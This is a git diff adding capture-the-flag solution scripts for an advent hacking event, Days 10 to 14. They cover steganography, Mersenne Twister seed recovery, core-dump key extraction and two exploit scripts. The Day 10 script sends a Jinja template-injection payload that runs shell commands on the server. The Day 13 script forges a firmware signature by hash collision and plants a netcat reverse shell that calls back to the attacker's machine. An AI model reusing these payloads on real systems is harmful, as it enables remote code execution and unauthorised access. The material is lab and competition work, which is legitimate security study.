diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..3901713 --- /dev/null +++ b/.gitignore @@ -0,0 +1,3 @@ +__pycache__ +*.pyc + diff --git a/Day 10/diy-jinja-source.zip b/Day 10/diy-jinja-source.zip new file mode 100644 index 0000000..ecf0f43 Binary files /dev/null and b/Day 10/diy-jinja-source.zip differ diff --git a/Day 10/exploit.py b/Day 10/exploit.py new file mode 100644 index 0000000..c127d4e --- /dev/null +++ b/Day 10/exploit.py @@ -0,0 +1,67 @@ +#!/usr/bin/env python + +# THE BASE OF THIS FILE WAS AUTOMATICALLY GENERATED BY template.py, for more information, visit +# https://git.romanh.de/Roman/HackingScripts + +import os +import re +import sys +import json +import time +import base64 +import requests +import subprocess +import urllib.parse +from bs4 import BeautifulSoup +from hackingscripts import util, rev_shell +from hackingscripts.fileserver import HttpFileServer + +from urllib3.exceptions import InsecureRequestWarning +requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) + +BASE_URL = "https://f781f357-05d7-4098-933b-e9da8cfb2c06.idocker.vuln.land" if "LOCAL" not in sys.argv else "http://127.0.0.1:1337" +IP_ADDRESS = util.get_address() + +def request(method, uri, **kwargs): + if not uri.startswith("/") and uri != "": + uri = "/" + uri + + client = requests + if "session" in kwargs: + client = kwargs["session"] + del kwargs["session"] + + if "allow_redirects" not in kwargs: + kwargs["allow_redirects"] = False + + if "verify" not in kwargs: + kwargs["verify"] = False + + if "proxies" not in kwargs: + kwargs["proxies"] = {"http":"http://127.0.0.1:8080", "https":"http://127.0.0.1:8080"} + + return client.request(method, BASE_URL + uri, **kwargs) + +def upload_template(file_name, file_data, fields_data=None): + + fields_data = util.nvl(fields_data, {}) + + files = { + "template": (file_name, file_data), + "fields": (None, json.dumps(fields_data)) + } + + res = request("POST", "/upload", files=files) + util.assert_status_code(res, 302) + util.assert_header_present(res, "Location") + return res.headers["Location"] + +if __name__ == "__main__": + injection = "{{ \n[].__class__.__base__.__subclasses__()[452]('cat /app/flag.txt',shell=True,stdout=-1).communicate() }}" + template_url = upload_template("blindhero.jinja", f"
{injection}
") + + res = request("POST", template_url) + util.assert_status_code(res, 200) + util.assert_content_type(res, "text/html") + soup = BeautifulSoup(res.text, "html.parser") + print("[+] Flag:", eval(soup.text)[0].decode().strip()) \ No newline at end of file diff --git a/Day 11/challenge.png b/Day 11/challenge.png new file mode 100644 index 0000000..dfc75b6 Binary files /dev/null and b/Day 11/challenge.png differ diff --git a/Day 11/decode.py b/Day 11/decode.py new file mode 100644 index 0000000..7486a23 --- /dev/null +++ b/Day 11/decode.py @@ -0,0 +1,21 @@ +from PIL import Image +import re +import textwrap + +if __name__ == "__main__": + img = Image.open("challenge.png") + pix = img.load() + width, height = img.size + + out = "" + for x in range(width): + for y in range(height): + out += chr(pix[x,y][0] ^ pix[x,y][2]) + + flag = re.search(r"HV23\{[^\}]*\}", out)[0] + print("[+] Flag:", flag) + bin_str = out.replace(flag, "").replace("Never gonna give you up. ", "0").replace("Never gonna let you down. ", "1") + bin_str = re.sub(r"[^01]", "", bin_str) + flag2 = "".join(chr(int(octet, 2)) for octet in textwrap.wrap(bin_str, 8)) + flag2 = re.search(r"HV23\{[^\}]*\}", flag2)[0] + print("[+] Hidden Flag:", flag2) \ No newline at end of file diff --git a/Day 12/backup/a.jpg b/Day 12/backup/a.jpg new file mode 100644 index 0000000..b945ce9 Binary files /dev/null and b/Day 12/backup/a.jpg differ diff --git a/Day 12/decrypt.py b/Day 12/decrypt.py new file mode 100644 index 0000000..d81d4d6 --- /dev/null +++ b/Day 12/decrypt.py @@ -0,0 +1,26 @@ +from hackingscripts import util +from mersenne import BreakerPy +from Crypto.Util.number import long_to_bytes + +files = {} +def read_file(path): + with open(path, "rb") as f: + data = f.read() + files[path] = data + +if __name__ == "__main__": + for file in ["memes/a.jpg", "memes/b.jpeg", "memes/c.jpg", "backup/a.jpg"]: + read_file(file) + + key = util.xor(files["backup/a.jpg"], files["memes/a.jpg"]) + key = [int.from_bytes(key[i:i+4], "big") for i in range(0, len(key), 4)] + key = key[0:624] + + breaker = BreakerPy() + seed_arr = breaker.get_seeds_python_fast(key) + seed = breaker.array_to_int(seed_arr) + + print("[+] Recovered Seed:", seed) + print("[+] Flag:", long_to_bytes(seed).decode()) + + diff --git a/Day 12/memes/a.jpg b/Day 12/memes/a.jpg new file mode 100644 index 0000000..5fb4f10 Binary files /dev/null and b/Day 12/memes/a.jpg differ diff --git a/Day 12/memes/b.jpeg b/Day 12/memes/b.jpeg new file mode 100644 index 0000000..6555493 Binary files /dev/null and b/Day 12/memes/b.jpeg differ diff --git a/Day 12/memes/c.jpg b/Day 12/memes/c.jpg new file mode 100644 index 0000000..551bd54 Binary files /dev/null and b/Day 12/memes/c.jpg differ diff --git a/Day 12/mersenne.py b/Day 12/mersenne.py new file mode 100644 index 0000000..122bb44 --- /dev/null +++ b/Day 12/mersenne.py @@ -0,0 +1,556 @@ +import random +from time import time +from collections import Counter +from statistics import mode +from functools import reduce +from z3 import * + + +def seed_arr_len(arr): + """ + Figuring out the length of seed in words which was input to + init_by_array + """ + mode_vals = [] + for j in range(2,10): + x = [i for i in range(624) if abs(arr[i]-arr[j])<624] + mode_vals.append( + mode([j-i for i,j in zip(x,x[1:])]) + ) + return mode(mode_vals) + +def all_smt(s, initial_terms): + """ + yielding all satisfying models over `initial_terms` on a + z3.Solver() instance `s` containing constraints + """ + def block_term(s, m, t): + s.add(t != m.eval(t)) + + def fix_term(s, m, t): + s.add(t == m.eval(t)) + + def all_smt_rec(terms): + if sat == s.check(): + m = s.model() + yield m + for i in range(len(terms)): + s.push() + block_term(s, m, terms[i]) + for j in range(i): + fix_term(s, m, terms[j]) + for m in all_smt_rec(terms[i:]): + yield m + s.pop() + for m in all_smt_rec(list(initial_terms)): + yield m + + +class MT19937: + """ + Standard MT19937 instance for both 32 bit and 64 bit variants + """ + def __init__(self, c_seed=0, bit_64=False): + """ + initialize the mersenne twister with `c_seed` + `bit_64` if True, would initialize the 64 variant of MT19937 + `c_seed` is 64-bit if `bit_64` set to True + """ + # MT19937 + if bit_64: + (self.w, self.n, self.m, self.r) = (64, 312, 156, 31) + self.a = 0xB5026F5AA96619E9 + (self.u, self.d) = (29, 0x5555555555555555) + (self.s, self.b) = (17, 0x71D67FFFEDA60000) + (self.t, self.c) = (37, 0xFFF7EEE000000000) + self.l = 43 + self.f = 6364136223846793005 + else: + (self.w, self.n, self.m, self.r) = (32, 624, 397, 31) + self.a = 0x9908B0DF + (self.u, self.d) = (11, 0xFFFFFFFF) + (self.s, self.b) = (7, 0x9D2C5680) + (self.t, self.c) = (15, 0xEFC60000) + self.l = 18 + self.f = 1812433253 + self.MT = [0 for i in range(self.n)] + self.index = self.n + 1 + self.lower_mask = (1 << self.r) - 1 # 0x7FFFFFFF + self.upper_mask = (1 << self.r) # 0x80000000 + self.seed_mt(c_seed) + + def seed_mt(self, num): + """initialize the generator from a seed""" + self.MT[0] = num + self.index = self.n + for i in range(1, self.n): + temp = self.f * (self.MT[i - 1] ^ + (self.MT[i - 1] >> (self.w - 2))) + i + self.MT[i] = temp & ((1 << self.w) - 1) + + def twist(self): + """ Generate the next n values from the series x_i""" + for i in range(0, self.n): + x = (self.MT[i] & self.upper_mask) + \ + (self.MT[(i + 1) % self.n] & self.lower_mask) + xA = x >> 1 + if (x % 2) != 0: + xA = xA ^ self.a + self.MT[i] = self.MT[(i + self.m) % self.n] ^ xA + self.index = 0 + + def extract_number(self): + """ + extract tampered state at internal index i + if index reaches end of state array, twist and set it to 0 + """ + if self.index >= self.n: + self.twist() + y = self.MT[self.index] + y = y ^ ((y >> self.u) & self.d) + y = y ^ ((y << self.s) & self.b) + y = y ^ ((y << self.t) & self.c) + y = y ^ (y >> self.l) + self.index += 1 + return y & ((1 << self.w) - 1) + + def get_state(self): + """ + returning python compatible state + """ + return (3, tuple(self.MT + [self.index]), None) + + +class MTpython(MT19937): + """ + Additional functionality offered by MT of python3, namely + better (non linear) initialization + """ + def __init__(self, seed=0): + MT19937.__init__(self, 0) + self.seed(seed) #python seed initialization + + def init_by_array(self, init_key): + """ + Initialization with an `init_key` array of 32-bit words for + better randomization properties + """ + self.seed_mt(19650218) + i, j = 1, 0 + for k in range(max(self.n, len(init_key))): + self.MT[i] = (self.MT[i] ^ ( + (self.MT[i - 1] ^ (self.MT[i - 1] >> 30)) * 1664525)) + init_key[j] + j + self.MT[i] &= 0xffffffff + i += 1 + j += 1 + if i >= self.n: + self.MT[0] = self.MT[self.n - 1] + i = 1 + if j >= len(init_key): + j = 0 + for k in range(self.n - 1): + self.MT[i] = (self.MT[i] ^ ( + (self.MT[i - 1] ^ (self.MT[i - 1] >> 30)) * 1566083941)) - i + self.MT[i] &= 0xffffffff + i += 1 + if i >= self.n: + self.MT[0] = self.MT[self.n - 1] + i = 1 + self.MT[0] = 0x80000000 + + def init_32bit_seed(self, seed_32): + """ + Just an oversimplification of `init_by_array` for single element array + of upto 32 bit number + """ + self.seed_mt(19650218) + i = 1 + for k in range(self.n): + self.MT[i] = (self.MT[i] ^ ( + (self.MT[i - 1] ^ (self.MT[i - 1] >> 30)) * 1664525)) + seed_32 + self.MT[i] &= 0xffffffff + i += 1 + if i >= self.n: + self.MT[0] = self.MT[self.n - 1] + i = 1 + for k in range(self.n - 1): + self.MT[i] = (self.MT[i] ^ ( + (self.MT[i - 1] ^ (self.MT[i - 1] >> 30)) * 1566083941)) - i + self.MT[i] &= 0xffffffff + i += 1 + if i >= self.n: + self.MT[0] = self.MT[self.n - 1] + i = 1 + self.MT[0] = 0x80000000 + + def seed(self,seed_int): + """ + Replication of random.seed of cpython when seed is an integer + """ + self.init_by_array(self.int_to_array(seed_int)) + + def random(self): + """ + python random.random() call which yeilds a uniformly random + floating point between [0,1] employing two MT 32 bits calls + """ + a = self.extract_number()>>5 + b = self.extract_number()>>6 + return (a*67108864.0+b)*(1.0/9007199254740992.0) + + def int_to_array(self,k): + """ + converting a big integer to equivalent list of 32-bit integers + as would be passed into python seed process + """ + if k==0: + return [0] + k_byte = int.to_bytes(k,(k.bit_length()+7)//8,'little') + k_arr = [k_byte[i:i+4] for i in range(0,len(k_byte),4)] + return [int.from_bytes(i,'little') for i in k_arr ] + + def array_to_int(self,arr): + """ + converting list of 32-bit integers back to a big integer + """ + arr_bytes = b"".join([int.to_bytes(i,4,'little') for i in arr]) + return int.from_bytes( arr_bytes ,'little') + + +class Breaker(): + """ + Class for breaking and seed recovery of standard mersenne twister + """ + def __init__(self, bit_64=False): + if bit_64: + (self.w, self.n, self.m, self.r) = (64, 312, 156, 31) + self.a = 0xB5026F5AA96619E9 + (self.u, self.d) = (29, 0x5555555555555555) + (self.s, self.b) = (17, 0x71D67FFFEDA60000) + (self.t, self.c) = (37, 0xFFF7EEE000000000) + self.l = 43 + self.f = 6364136223846793005 + self.num_bits = 64 + else: + (self.w, self.n, self.m, self.r) = (32, 624, 397, 31) + self.a = 0x9908B0DF + (self.u, self.d) = (11, 0xFFFFFFFF) + (self.s, self.b) = (7, 0x9D2C5680) + (self.t, self.c) = (15, 0xEFC60000) + self.l = 18 + self.f = 1812433253 + self.num_bits = 32 + self.MT = [0 for i in range(self.n)] + self.index = self.n + 1 + self.lower_mask = (1 << self.r) - 1 + self.upper_mask = (1 << self.r) + + def ut(self, num): + """ + untamper a `num` to give back the internal state register + """ + def get_bit(number, position): + if position < 0 or position > self.num_bits - 1: + return 0 + return (number >> (self.num_bits - 1 - position)) & 1 + + def set_bit_to_one(number, position): + return number | (1 << (self.num_bits - 1 - position)) + + def undo_right_shift_xor_and(result, shift_len, andd=-1): + original = 0 + for i in range(self.num_bits): + if get_bit(result, i) ^ \ + (get_bit(original, i - shift_len) & + get_bit(andd, i)): + original = set_bit_to_one(original, i) + return original + + def undo_left_shift_xor_and(result, shift_len, andd): + original = 0 + for i in range(self.num_bits): + if get_bit(result, self.num_bits - 1 - i) ^ \ + (get_bit(original, self.num_bits - 1 - (i - shift_len)) & + get_bit(andd, self.num_bits - 1 - i)): + original = set_bit_to_one(original, self.num_bits - 1 - i) + return original + num = undo_right_shift_xor_and(num, self.l) + num = undo_left_shift_xor_and(num, self.t, self.c) + num = undo_left_shift_xor_and(num, self.s, self.b) + num = undo_right_shift_xor_and(num, self.u, self.d) + return num + + def tamper_state(self, y): + """ + Tamper the state of z3.BitVec(32) y and return the tampered + thing + """ + y = y ^ (LShR(y, self.u) & self.d) + y = y ^ ((y << self.s) & self.b) + y = y ^ ((y << self.t) & self.c) + y = y ^ (LShR(y, self.l)) + return y + + def untamper_sat(self, num): + """ + Same as self.ut but using z3 to find out the state (way slower + than self.ut) + """ + S = Solver() + y = BitVec('y', self.num_bits) + y = self.tamper_state(y) + S.add(num == y) + if S.check() == sat: + m = S.model() + return m[m.decls()[0]].as_long() + + def clone_state(self, outputs): + """ + Clone the internal state given 624, 32-bit outputs + """ + assert len(outputs) == 624, "To clone full state, 624 outputs needed" + return list(map(self.ut, outputs)) + + def get_seed_mt(self, outputs): + """ + recovering the initializing knowing some `outputs` + outputs: list of (output_num, output) pairs + (can recover seed with just three consecutive outputs) + """ + STATE = [BitVec(f'MT[{i}]', self.num_bits) for i in range(self.n + 1)] + SEED = BitVec('seed', self.num_bits) + STATE[0] = SEED + for i in range(1, self.n): + temp = self.f * \ + (STATE[i - 1] ^ (LShR(STATE[i - 1], (self.w - 2)))) + i + STATE[i] = temp & ((1 << self.w) - 1) + self.twist_state(STATE) + t_start = time() + S = Solver() + for index, value in outputs: + S.add(STATE[index] == self.ut(value)) + if S.check() == sat: + m = S.model() + print("time taken :", time() - t_start) + return m[m.decls()[0]].as_long() + else: + print(time() - t_start) + + def twist_state(self, MT): + """ + Twist an array MT[z3.BitVec(32)] (or 64-bit) to give out the + next set of internal state registers + """ + for i in range(self.n): + x = (MT[i] & self.upper_mask) + \ + (MT[(i + 1) % self.n] & self.lower_mask) + xA = LShR(x, 1) + xA = If(x & 1 == 1, xA ^ self.a, xA) + MT[i] = simplify(MT[(i + self.m) % self.n] ^ xA) + + + def untwist(self, outputs): + """ + Recover the state post twisting + (can get only the MSB of first element of the internal state) + """ + MT = [BitVec(f'MT[{i}]', 32) for i in range(self.n)] + self.twist_state(MT) + s = Solver() + for i in range(len(outputs)): + s.add(outputs[i] == MT[i]) + if s.check() == sat: + model = s.model() + untwisted = {str(i): model[i].as_long() for i in model.decls()} + untwisted = [untwisted[f'MT[{i}]'] for i in range(624)] + return untwisted + + + +class BreakerPy(Breaker): + """ + Breaker for python functionalities + """ + def __init__(self): + Breaker.__init__(self) + + def get_ith(self, outputs, both=False): + """ + Get i'th output given i-624, i-623 and i-227 th inputs + if `both=True` then can be only i-623 and i-227 only as + we only need MSB of i-624 which can be two possibilities + """ + if both: + return self.get_ith([2**31]+outputs),self.get_ith([0]+outputs) + i_min_624, i_min_623, i_min_227 = map(self.ut, outputs) + x = (i_min_624 & self.upper_mask) + \ + (i_min_623 & self.lower_mask) + xA = x >> 1 + if (x % 2) != 0: + xA = xA ^ self.a + y = i_min_227 ^ xA + y = y ^ ((y >> self.u) & self.d) + y = y ^ ((y << self.s) & self.b) + y = y ^ ((y << self.t) & self.c) + y = y ^ (y >> self.l) + return y & ((1 << self.w) - 1) + + def get_32_bit_seed_python(self, outputs): + """ + get the seed value if initialzed by a 32 bit seed using + 624 outputs + """ + MT_init = MT19937(19650218).MT + MT = [BitVec(f'MT[{i}]', 32) for i in range(self.n)] + for i in range(self.n): + MT[i] = BitVecVal(MT_init[i], 32) + SEED = BitVec('seed', 32) + i = 1 + for k in range(self.n): + MT[i] = (MT[i] ^ ((MT[i - 1] ^ LShR(MT[i - 1], 30)) * 1664525)) + SEED + i += 1 + if i >= self.n: + MT[0] = MT[self.n - 1] + i = 1 + for k in range(self.n - 1): + MT[i] = (MT[i] ^ ((MT[i - 1] ^ LShR(MT[i - 1], 30)) * 1566083941)) - i + i += 1 + if i >= self.n: + MT[0] = MT[self.n - 1] + i = 1 + MT[0] = BitVecVal(0x80000000, 32) + untwisted = self.untwist(list(map(self.ut,outputs))) + print(untwisted) + t_start = time() + S = Solver() + S.add([i == j for i, j in zip(MT, untwisted)]) + if S.check() == sat: + m = S.model() + print("time taken :", time() - t_start) + return m[m.decls()[0]].as_long() + + def get_seeds_python(self, outputs, num_seeds=5): + """ + recovering seeds of python knowing the number of bits + in the seed, takes increasing time per increased number of words + """ + MT_init = MT19937(19650218).MT + MT = [BitVec(f'MT[{i}]', 32) for i in range(self.n)] + for i in range(self.n): + MT[i] = BitVecVal(MT_init[i], 32) + SEEDS = [BitVec(f'seed[{i}]', 32) for i in range(num_seeds)] + i,j = 1,0 + for k in range(self.n): + MT[i] = (MT[i] ^ ((MT[i - 1] ^ LShR(MT[i - 1], 30)) * 1664525)) + SEEDS[j] + j + i += 1 + j +=1 + if i >= self.n: + MT[0] = MT[self.n - 1] + i = 1 + if j==num_seeds: + j=0 + for k in range(self.n - 1): + MT[i] = (MT[i] ^ ((MT[i - 1] ^ LShR(MT[i - 1], 30)) * 1566083941)) - i + i += 1 + if i >= self.n: + MT[0] = MT[self.n - 1] + i = 1 + MT[0] = BitVecVal(0x80000000, 32) + untwisted = self.untwist(list(map(self.ut,outputs))) + print(untwisted) + t_start = time() + S = Solver() + S.add([i == j for i, j in zip(MT, untwisted)]) + if S.check() == sat: + m = S.model() + print("time taken :", time() - t_start) + recovered = { str(i):m[i].as_long() for i in m.decls() } + recovered = [ recovered[f'seed[{i}]'] for i in range(num_seeds) ] + return recovered + + def get_seeds_python_fast(self,outputs): + """ + recover seed of any size using 624 outputs in python + runtime independent of seed size, takes anything around + 200-700 seconds + """ + start_time = time() + MT = [BitVec(f'MT[{i}]',32) for i in range(624)] + i=2 + for k in range(self.n - 1): + MT[i] = (MT[i] ^ ((MT[i - 1] ^ LShR(MT[i - 1], 30)) * 1566083941)) - i + i += 1 + if i >= self.n: + MT[0] = MT[self.n - 1] + i = 1 + MT[0] = BitVecVal(0x80000000, 32) + untwisted = self.untwist(list(map(self.ut,outputs))) + S = Solver() + for i in range(1,self.n): + S.add(untwisted[i]==MT[i]) + if S.check()==sat: + m = S.model() + mt_vals = {str(i):m[i].as_long() for i in m.decls()} + mt_intermediate = [mt_vals[f'MT[{i}]'] for i in range(1,624) ] + + MT_init = MT19937(19650218).MT + MT = [BitVecVal(i,32) for i in MT_init] + SEEDS = [BitVec(f'seed[{i}]', 32) for i in range(624)] + i,j = 1,0 + for k in range(self.n): + MT[i] = (MT[i] ^ ((MT[i - 1] ^ LShR(MT[i - 1], 30)) * 1664525)) + SEEDS[j] + j + i += 1 + j +=1 + if i >= self.n: + MT[0] = MT[self.n - 1] + i = 1 + if j==self.n: + j=0 + S = Solver() + for i in range(1,self.n): + S.add(mt_intermediate[i-1]==MT[i]) + if S.check() == sat: + print("time taken :",time()-start_time) + m = S.model() + recovered = { str(i):m[i].as_long() for i in m.decls() } + recovered = [ recovered[f'seed[{i}]'] for i in range(len(m.decls())) ] + + slen = seed_arr_len(recovered) + seed_arr = [recovered[i]+ slen*(i//slen) for i in range(624)] + if slen==1: + return seed_arr[2] + return seed_arr[slen:slen+2]+seed_arr[2:slen] + + def state_recovery_rand(self, outputs): + """ + state recovery using python random.random() calls + """ + MT = [BitVec(f'MT[{i}]',32) for i in range(624)] + values = [] + for i in outputs: + values.extend( divmod(int(i*2**53),2**26)) + start_time = time() + S = Solver() + for i in range(len(values)): + if i%624==0: + self.twist_state(MT) + S.add(LShR(self.tamper_state(MT[i%624]),5+(i&1))==values[i]) + if S.check()==sat: + print("time taken :",time()-start_time) + model = S.model() + mt = {str(i): model[i].as_long() for i in model.decls()} + mt = [mt[f'MT[{i}]'] for i in range(len(model))] + return mt + + def int_to_array(self,k): + if k==0: + return [0] + k_byte = int.to_bytes(k,(k.bit_length()+7)//8,'little') + k_arr = [k_byte[i:i+4] for i in range(0,len(k_byte),4)] + return [int.from_bytes(i,'little') for i in k_arr ] + + def array_to_int(self,arr): + arr_bytes = b"".join([int.to_bytes(i,4,'little') for i in arr]) + return int.from_bytes( arr_bytes ,'little') + + diff --git a/Day 12/unsanta.zip b/Day 12/unsanta.zip new file mode 100644 index 0000000..e5ba168 Binary files /dev/null and b/Day 12/unsanta.zip differ diff --git a/Day 13/exploit.py b/Day 13/exploit.py new file mode 100755 index 0000000..ea29ff5 --- /dev/null +++ b/Day 13/exploit.py @@ -0,0 +1,79 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +# This exploit template was generated via: +# $ pwn template --host 5e6a25e4-70e9-4467-ab1a-caba58cdf8e8.rdocker.vuln.land --port 1337 +from pwn import * +from io import BytesIO +from Crypto.Hash import SHA1 +from Crypto.Util.number import long_to_bytes, bytes_to_long +from hackingscripts import util, rev_shell +import zipfile + +host = args.HOST or '98db68c6-42be-4b6c-94f3-87a044a60d13.rdocker.vuln.land' +port = int(args.PORT or 1337) + +def start_remote(argv=[], *a, **kw): + return connect(host, port) + +def start(argv=[], *a, **kw): + return start_remote(argv, *a, **kw) + +def hash_data(content): + h = 0 + for i in range(0, len(content), 8): + h ^= sum([content[i+j] << 8*j for j in range(8) if i+j < len(content)]) + return SHA1.new(hex(h).encode()).hexdigest() + +def get_version(): + io.recvuntil(b"$ ") + io.sendline(b"version") + data = io.recvuntil(b"\n\n") + return re.search(r"Version 1.3.3.7, Signature: (.*)", data.decode())[1] + +def update(zip_file, signature): + io.recvuntil(b"$ ") + io.sendline(b"update") + io.recvuntil(b"> ") + io.sendline(base64.b64encode(zip_file)) + io.recvuntil(b"> ") + io.sendline(signature.encode()) + +def send_exit(): + io.recvuntil(b"$ ") + io.sendline(b"exit") + +io = start() + +with open("firmware.zip", "rb") as f: + orig_firmware = f.read() + orig_hash = hash_data(orig_firmware) + print("[+] Orig hash:", orig_hash) + +ip_address = util.get_address() +shell_port = 1234 +shell_cmd = rev_shell.generate_payload("nc", ip_address, shell_port, method="fifo", shell="/bin/sh") +zip_data = BytesIO() +with zipfile.ZipFile(zip_data, "w") as zip_file: + zip_file.writestr("start.sh", shell_cmd) + +# new_zip ^ orig_firmware ^ new_zip == orig_firmware +initial_zip_data = zip_data.getvalue() +zip_data = initial_zip_data +zip_data = util.pad(zip_data, 8) +zip_data += orig_firmware +zip_data = util.pad(zip_data, 8) +zip_data += initial_zip_data +zip_hash = hash_data(zip_data) + +print("[+] Update hash:", zip_hash) +assert zip_hash == orig_hash + +signature = get_version() +print("[+] Signature:", signature) +shell = rev_shell.trigger_background_shell(lambda: update(zip_data, signature), shell_port) +flag = shell.exec_sync("cat /app/flag && echo") +shell.close() +send_exit() +io.close() + +print("[+] Flag:", flag.decode()) diff --git a/Day 13/firmware.zip b/Day 13/firmware.zip new file mode 100644 index 0000000..06c18fb Binary files /dev/null and b/Day 13/firmware.zip differ diff --git a/Day 13/santas-router-source.zip b/Day 13/santas-router-source.zip new file mode 100644 index 0000000..99df42a Binary files /dev/null and b/Day 13/santas-router-source.zip differ diff --git a/Day 14/coredump.zst b/Day 14/coredump.zst new file mode 100644 index 0000000..f98d5cc Binary files /dev/null and b/Day 14/coredump.zst differ diff --git a/Day 14/crypto-dump.zip b/Day 14/crypto-dump.zip new file mode 100644 index 0000000..ad833d2 Binary files /dev/null and b/Day 14/crypto-dump.zip differ diff --git a/Day 14/decrypt.py b/Day 14/decrypt.py new file mode 100644 index 0000000..81f4cb3 --- /dev/null +++ b/Day 14/decrypt.py @@ -0,0 +1,70 @@ +import lief +from pwn import * +import mmap +from hackingscripts import util +from Crypto.Cipher import AES +from Crypto.Util import Counter +from Crypto.Util.number import bytes_to_long + +file_path = "coredump.zst" +core = lief.parse(file_path) + +class StackFrame: + + def __init__(self, rbp, rsp): + self.rbp = rbp + self.rsp = rsp + assert self.rbp > self.rsp + + def get_memory(self, offset=0, size=None): + size = util.nvl(size, len(self) - offset) + return read_memory(self.rsp + offset, size) + + def __len__(self): + return self.rbp - self.rsp + + def __repr__(self): + return f"" + +def read_memory(addr, size): + for segment in core.segments: + if segment.type == lief.ELF.SEGMENT_TYPES.LOAD: + start_address = segment.virtual_address + end_address = start_address + segment.physical_size + + if start_address <= addr < end_address: + with open(file_path, 'rb') as f: + with mmap.mmap(f.fileno(), 0, access=mmap.ACCESS_READ) as mmapped_file: + offset = addr - start_address + segment.file_offset + mmapped_file.seek(offset) + data = mmapped_file.read(size) + return data + + raise Exception("Invalid address:", hex(addr)) + +for note in core.notes: + if note.type_core == lief.ELF.NOTE_TYPES_CORE.PRSTATUS: + details = note.details + rsp = details[lief.ELF.CorePrStatus.REGISTERS.X86_64_RSP] + rbp = details[lief.ELF.CorePrStatus.REGISTERS.X86_64_RBP] + r13 = details[lief.ELF.CorePrStatus.REGISTERS.X86_64_R13] + stack_frame = StackFrame(rbp, rsp) + + +print("[+] RSP at:", hex(rsp)) +key = stack_frame.get_memory(0x10, 0x20) +print("[+] Got key:", key.hex()) + +heap_addr = r13 +print("[+] Heap chunk at:", hex(heap_addr)) +encrypted = read_memory(heap_addr, 0x30) +iv = encrypted[:16] +ct = encrypted[16:].rstrip(b"\x00") + +print("[+] Got IV:", iv.hex()) +print("[+] Got ct:", ct.hex()) + +ctr = Counter.new(128, initial_value=bytes_to_long(iv)) +cipher = AES.new(key, AES.MODE_CTR, counter=ctr) +flag = cipher.decrypt(ct).decode().strip() +print("[+] Flag:", flag) \ No newline at end of file